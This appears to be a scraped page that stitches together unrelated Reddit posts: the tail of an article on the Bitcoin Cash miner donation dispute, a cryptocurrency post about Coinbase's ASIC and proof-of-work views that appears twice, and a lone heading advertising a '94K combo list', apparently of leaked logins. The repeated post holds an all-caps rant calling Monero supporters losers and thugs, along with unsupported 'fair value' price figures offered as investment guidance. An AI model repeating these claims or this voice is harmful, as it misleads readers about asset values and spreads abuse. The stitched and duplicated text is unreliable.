In fact, aside from the question of donation ratio, it is worth considering whether this so-called hashrate voting has practical significance. According to data from BTC.com, the five mining pools of the four supporters mentioned by Jiang Zhuoer have a total BCH computing power of more than 51%, reaching 54.5%, occupying a considerable say, and it is difficult for other miners to have a real speech right.
Despite the opposition of the plan, it was still proceeding methodically.
On February 18, according to an official BitcoinABC tweet, the ABC team has added the code for the donation plan to the ABC version 0.21.0 client. At the same time, TobiasRuck and Antony Zegers of the ABC team, and the BCHD team have stated their support for the donation plan at this node.
On the one hand, there is no consensus, and on the other hand, donations need to be opened.
This self-talking attitude caused strong dissatisfaction in the community. On February 19th, Freetrader, one of the earliest developers in the BCH ecosystem, created a full node called BCH Node (BCHN) [11], This version will remove the donation plan, express protest, and then release the PGP signatures of the BCHN project supporters. The supporters gathered, including Alexander Levin Jr, CEO of Asicseer.com, Pokkst of Crescent Cash wallet, Tipbitcoin cash, bitcoincashj , Tubing host Collin Enstad and others.
Fragmentation and unification
To this point, the community split into two camps, led by the ABC team and Electron Cash wallet, BCHD, etc. to support the donation plan, and BU, BCHN, etc. formed an opposition. In fact, various disputes have already raised concerns from the domestic and foreign communities that BCH may fork again.
Fragmentation, strife ...
This softened Jiang Zhuoer's attitude in LongBit's online live broadcast, saying that at least basic community consensus must be reached before donations can begin.
Subsequently, at the second meeting of the BCH developers, Séchet of the ABC team who initially stood up to support this plan also said loosely that there are currently differences, and miners will not ignore these opinions and go their own ways. If the community becomes better, Alternatives can also be implemented.
The concessions of the Séchets became a sign of gradual strife in foreign communities. Regarding the end of the entire donation plan, it ended with a post by Jiang Zhuoer's Weibo.
In the article "Talking about the differences and recent market trends of BTC, BCH, and BSV" on March 5, Jiang Zhuoer said that due to a lot of opposition from the community, especially from major BCH supporters like Roger, the donations of miners will not be implemented. . The dispute, which lasted more than a month, finally ended with the termination of the donation plan.
In fact, the donation plan was updated many times, and the donation share easily changed without letting us see the basis for its formulation, as Roger ver said "somewhat randomly". And "voluntary and democratic" computing power voting, if someone finally voted No in the computing power vote can influence the result, which will also lead to thinking about computing power dictatorship.
submitted by FmzQuant to u/FmzQuant [link] [comments]

Coinbase clears up misconceptions about ASICs, ASIC-resistance and how Proof of work works in new blogpost

Edit this post and my other cross-posts here are being heavily downvote brigaded by the very aggressive and forceful monero community. In the last couple days alone I have lost more than 100 comment karma, from over 1100 to 948, to these aggressive individuals seeking to manipulate the narrative, and 'lean on me' to stop posting information they don't like. This thread itself had roughly 14-17 upvotes. Now 5-8. Proof that I'm being vote brigaded is that I have nearly 3 times the donuts in Ethtrader than I have comment and post karma, COMBINED! This is despite the fact that I rarely post there. Which shows that most people appreciate my posts, but the monero community wants to hide that and control the narrative!
If you look at my comment karma by sub breakdown, visible in this comment here, you can clearly see that if you sum up my comment karma, I should have around ~2200. In dashpay alone I have 1300 comment karma. Yet if you hover over my username, I only have 906. This is due to vote brigading and is damning proof of it.
They refuse to allow discussions to take place naturally because their coin is not very good. Its very slow, you can only spend your funds once every 20 minutes (!!!), and its privacy was severely broken in the past, Monero Privacy Protections Aren't as Strong as They Seem | WIRED , and they are using intimidation and breaking the rules of reddit by massively downvoting my posts and comments to hide this information, like bullies and thugs would do.
Guess what guys? I don't care! TAKE MY COMMENT KARMA DOWN TO 0!! THAT JUST PROVES THAT YOU'RE LOSERS WHO CAN'T ACCEPT THE TRUTH AND THEREFORE MUST RELY ON CENSORSHIP AND COERCION. I WILL NEVER STOP TELLING THE TRUTH ABOUT YOUR COIN AND YOUR TOXIC COMMUNITY, SO DO YOUR WORST!
https://blog.coinbase.com/how-coinbase-views-proof-of-work-security-f4ba1a139da0
There has been a lot of discussion both in btc and the greater cryptocurrency community alike about the importance of POW and how it relates to the economic incentives that undergrid the day-to-day operation of cryptocurrency networks. I believe because so many people do not truly understand the innovation of POW that they become easily confused and fall for scams like POS and ASIC-resistance. Luckily, Coinbase has explained some of their rationale behind their decisions to accept certain coins after a certain number of blockchain confirmations.
Different cryptocurrencies add to their blockchains in different ways. In cryptocurrencies that utilize proof of work, the blockchain is extended by a process known as mining. Miners bundle newly announced transactions together into data structures called blocks, which are added to the blockchain.
A miner attempts to add a block by solving a proof of work puzzle unique to the proposed block. If the miner can find a solution to the puzzle, the miner will announce the block and its solution to the rest of the network. The rest of the network will recognize the valid proof of work solution and consider the proposed block as the most recent addition to the blockchain. Notice that there is no permission required for a miner to produce a block, a fact that allows miners to enter and leave the network at will.
Seems pretty standard, right?
Claim one: It is a security feature for a particular coin’s mining operations to be the dominant application of the hardware used to mine that coin.
This is important as we have seen for smaller coins with larger coins with the same mining hardware. As we've seen with BCH, its possible for larger coins to 'attack' coins with less hashpower, which is why the fliippening is so important for us as a community. As soon as the market prices in the fact that BCH has a superior user experience to BTC, then the miners will 'flip' their hashrate to BCH and BTC will maintain a minority position.
I contend, however, that for this to happen, we first need accurate pricing mechanisms so that when we assess how the market is responding, we are not being mislead by exchange price manipulation which I contend is very heavy currently in this thread: The REAL reason for the price decline or the anatomy of a shakedown! Exchange price manipulation is behind the recent 'decline'. If we use fair value instead to price our coins, we can see an actual, objective comparison. For example, BCH is now only $294.9 to BTC's $9,068.75 or only 3%, but how much of this is exchange manipulation? According to fair value, BCH is actually worth $528.24 while traditional BTC is only worth $6,096.09 for a ratio of ~9% which is 3 times better than exchange price would have you believe!
Owners of the hardware lose the value of their investment if the primary application of the hardware loses value.
Hardware owners are incentivized to consider the long term success of the main application of their hardware. The longer the lifetime of their equipment, the more invested they become in the long-term success of the hardware’s primary application. At time of writing, Bitcoin ASICs are beginning to have significantly longer useful lifespans as efficiency increases of newer models are diminishing.
Another thing they point out is that ASIC resistance is a fool's game:
Algorithm changes to “brick ASICs” simply allow the massive general purpose computational resources of the entire world to mine, and potentially disrupt, a cryptocurrency at will. Coins that have implemented “ASIC-resistant” algorithms have been, empirically, very susceptible to 51% attacks for this very reason. Notable examples of ASIC-resistant coins that have been successfully 51% attacked include BTG, VTC, and XVG. To date, there is not a single case where a coin that dominates its hardware class has been subject to a 51% double spend attack.
As I pointed out earlier this year in this thread, Further evidence that, despite what's detractors desperately want you to believe, fair value is accurately tracking the wealth in the market in real time! Monero's fair value decreases by 40% as miners leave network, Monero also was under a unique, far worse form of 51% attack this year that nearly completely destroyed their community. As further evidence I was correct above, only fair value accurately reflected the change in Monero's worth. The price, on the other hand, remained sky-high. This is heavy evidence of exchange price manipulation and another reason why ASIC resistance doesn't work.
By actively forcing and keeping ASICs off the network, the monero community continued building an ASIC-free ecosystem and economy based on low-hash CPU and GPUs. Which meant that when an asic was actually developed as we know they always will be that economy would be destroyed. You went from a 'large' community of solo miners on CPUs and GPUs to a single entity getting the majority of the hashrate and bankrupting the entire community. This happened wtih every coin when they moved to ASICs. The difference with Monero? Monero's move to ASICs will have been artificially delayed until the community is so large that the introduction will BANKRUPT the majority of economic participants mining! This is worse than a traditional 51% attack and it succinctly summarizes why ASIC resistance is bad idea.
The main takeway:
No algorithm is ever ASIC-proof, merely ASIC-resistant
For any particular computational problem, hardware specialized to solving specifically that problem will always be more efficient than general purpose hardware. In addition to the advantages of writing application-level logic directly into the circuitry, specialized hardware does not need to be burdened by other requirements of general purpose hardware, such as security isolation, clock interrupts, context switching, and other tasks required to support multiple applications. Thus, no proof-of-work algorithm is ever ASIC-proof, merely ASIC-resistant.
Empirically, ASIC-resistant algorithms have repeatedly failed to prevent the development of ASICs. Prominent examples include scrypt (LTC), equihash (ZEC, BTG), ethhash (ETH), and cryptonite[sic] (XMR).
So the takeaways from this are:
  1. If we want to have accurate, objective pricing information, we must use fair value to levelize the supplies between different coins, and to remove false price influences like Tether, whale movements and the fact that exchanges price all coins in BTC, which allows BTC the uncanny ability to move and negatively affect the entire market.
  2. ASIC-resistance is and always has been a fool's game. ASICs are a natural progression of cryptocurrencies that have grown sufficiently in size and popularity, and 'resisting' this move is a form of arrested development akin to 'puberty-resistance' or 'potty-training-resistance'. Its just nonsensical.
In order to make money in cryptocurrencies, we have to keep our heads on straight and not be swept away by popular opinion without good cause. ASIC-resistance is a red-herring that does nothing be destroy the value on your chain. Luckily, most communities like ZCash, Dash, Bitcoin Cash, Bitcoin accept and understand this basic fact. Thanks for reading!
submitted by thethrowaccount21 to ethfinance [link] [comments]

FRESH UPDATED COMBO LIST 94K 22/01/2020 !!!!

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COMBO list
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Coinbase clears up misconceptions about ASICs, ASIC-resistance and how Proof of work works in new blogpost

Edit this post and my other cross-posts here are being heavily downvote brigaded by the very aggressive and forceful monero community. In the last couple days alone I have lost more than 100 comment karma, from over 1100 to 948, to these aggressive individuals seeking to manipulate the narrative, and 'lean on me' to stop posting information they don't like.
This thread itself had roughly 8-10 upvotes. Now 0-1. If you look at my comment karma by sub breakdown, visible in this comment here, you can clearly see that if you sum up my comment karma, I should have around ~2200. Yet if you hover over my username, I only have 906. This is due to vote brigading and is damning proof of it.
They refuse to allow discussions to take place naturally because their coin is not very good. Its very slow, you can only spend your funds once every 20 minutes (!!!), and its privacy was severely broken in the past, Monero Privacy Protections Aren't as Strong as They Seem | WIRED , and they are using intimidation and breaking the rules of reddit by massively downvoting my posts and comments to hide this information, like bullies and thugs would do.
Guess what guys? I don't care! TAKE MY COMMENT KARMA DOWN TO 0!! THAT JUST PROVES THAT YOU'RE LOSERS WHO CAN'T ACCEPT THE TRUTH AND THEREFORE MUST RELY ON CENSORSHIP AND COERCION. I WILL NEVER STOP TELLING THE TRUTH ABOUT YOUR COIN AND YOUR TOXIC COMMUNITY, SO DO YOUR WORST!
https://blog.coinbase.com/how-coinbase-views-proof-of-work-security-f4ba1a139da0
There has been a lot of discussion both in btc and the greater cryptocurrency community alike about the importance of POW and how it relates to the economic incentives that undergrid the day-to-day operation of cryptocurrency networks. I believe because so many people do not truly understand the innovation of POW that they become easily confused and fall for scams like POS and ASIC-resistance. Luckily, Coinbase has explained some of their rationale behind their decisions to accept certain coins after a certain number of blockchain confirmations.
Different cryptocurrencies add to their blockchains in different ways. In cryptocurrencies that utilize proof of work, the blockchain is extended by a process known as mining. Miners bundle newly announced transactions together into data structures called blocks, which are added to the blockchain.
A miner attempts to add a block by solving a proof of work puzzle unique to the proposed block. If the miner can find a solution to the puzzle, the miner will announce the block and its solution to the rest of the network. The rest of the network will recognize the valid proof of work solution and consider the proposed block as the most recent addition to the blockchain. Notice that there is no permission required for a miner to produce a block, a fact that allows miners to enter and leave the network at will.
Seems pretty standard, right?
Claim one: It is a security feature for a particular coin’s mining operations to be the dominant application of the hardware used to mine that coin.
This is important as we have seen for smaller coins with larger coins with the same mining hardware. As we've seen with BCH, its possible for larger coins to 'attack' coins with less hashpower, which is why the fliippening is so important for us as a community. As soon as the market prices in the fact that BCH has a superior user experience to BTC, then the miners will 'flip' their hashrate to BCH and BTC will maintain a minority position.
I contend, however, that for this to happen, we first need accurate pricing mechanisms so that when we assess how the market is responding, we are not being mislead by exchange price manipulation which I contend is very heavy currently in this thread: The REAL reason for the price decline or the anatomy of a shakedown! Exchange price manipulation is behind the recent 'decline'. If we use fair value instead to price our coins, we can see an actual, objective comparison. For example, BCH is now only $294.9 to BTC's $9,068.75 or only 3%, but how much of this is exchange manipulation? According to fair value, BCH is actually worth $528.24 while traditional BTC is only worth $6,096.09 for a ratio of ~9% which is 3 times better than exchange price would have you believe!
Owners of the hardware lose the value of their investment if the primary application of the hardware loses value.
Hardware owners are incentivized to consider the long term success of the main application of their hardware. The longer the lifetime of their equipment, the more invested they become in the long-term success of the hardware’s primary application. At time of writing, Bitcoin ASICs are beginning to have significantly longer useful lifespans as efficiency increases of newer models are diminishing.
Another thing they point out is that ASIC resistance is a fool's game:
Algorithm changes to “brick ASICs” simply allow the massive general purpose computational resources of the entire world to mine, and potentially disrupt, a cryptocurrency at will. Coins that have implemented “ASIC-resistant” algorithms have been, empirically, very susceptible to 51% attacks for this very reason. Notable examples of ASIC-resistant coins that have been successfully 51% attacked include BTG, VTC, and XVG. To date, there is not a single case where a coin that dominates its hardware class has been subject to a 51% double spend attack.
As I pointed out earlier this year in this thread, Further evidence that, despite what's detractors desperately want you to believe, fair value is accurately tracking the wealth in the market in real time! Monero's fair value decreases by 40% as miners leave network, Monero also was under a unique, far worse form of 51% attack this year that nearly completely destroyed their community. As further evidence I was correct above, only fair value accurately reflected the change in Monero's worth. The price, on the other hand, remained sky-high. This is heavy evidence of exchange price manipulation and another reason why ASIC resistance doesn't work.
By actively forcing and keeping ASICs off the network, the monero community continued building an ASIC-free ecosystem and economy based on low-hash CPU and GPUs. Which meant that when an asic was actually developed as we know they always will be that economy would be destroyed. You went from a 'large' community of solo miners on CPUs and GPUs to a single entity getting the majority of the hashrate and bankrupting the entire community. This happened wtih every coin when they moved to ASICs. The difference with Monero? Monero's move to ASICs will have been artificially delayed until the community is so large that the introduction will BANKRUPT the majority of economic participants mining! This is worse than a traditional 51% attack and it succinctly summarizes why ASIC resistance is bad idea.
The main takeway:
No algorithm is ever ASIC-proof, merely ASIC-resistant
For any particular computational problem, hardware specialized to solving specifically that problem will always be more efficient than general purpose hardware. In addition to the advantages of writing application-level logic directly into the circuitry, specialized hardware does not need to be burdened by other requirements of general purpose hardware, such as security isolation, clock interrupts, context switching, and other tasks required to support multiple applications. Thus, no proof-of-work algorithm is ever ASIC-proof, merely ASIC-resistant.
Empirically, ASIC-resistant algorithms have repeatedly failed to prevent the development of ASICs. Prominent examples include scrypt (LTC), equihash (ZEC, BTG), ethhash (ETH), and cryptonite[sic] (XMR).
So the takeaways from this are:
  1. If we want to have accurate, objective pricing information, we must use fair value to levelize the supplies between different coins, and to remove false price influences like Tether, whale movements and the fact that exchanges price all coins in BTC, which allows BTC the uncanny ability to move and negatively affect the entire market.
  2. ASIC-resistance is and always has been a fool's game. ASICs are a natural progression of cryptocurrencies that have grown sufficiently in size and popularity, and 'resisting' this move is a form of arrested development akin to 'puberty-resistance' or 'potty-training-resistance'. Its just nonsensical.
In order to make money in cryptocurrencies, we have to keep our heads on straight and not be swept away by popular opinion without good cause. ASIC-resistance is a red-herring that does nothing be destroy the value on your chain. Luckily, most communities like ZCash, Dash, Bitcoin Cash, Bitcoin accept and understand this basic fact. Thanks for reading!
submitted by thethrowaccount21 to CryptoTechnology [link] [comments]

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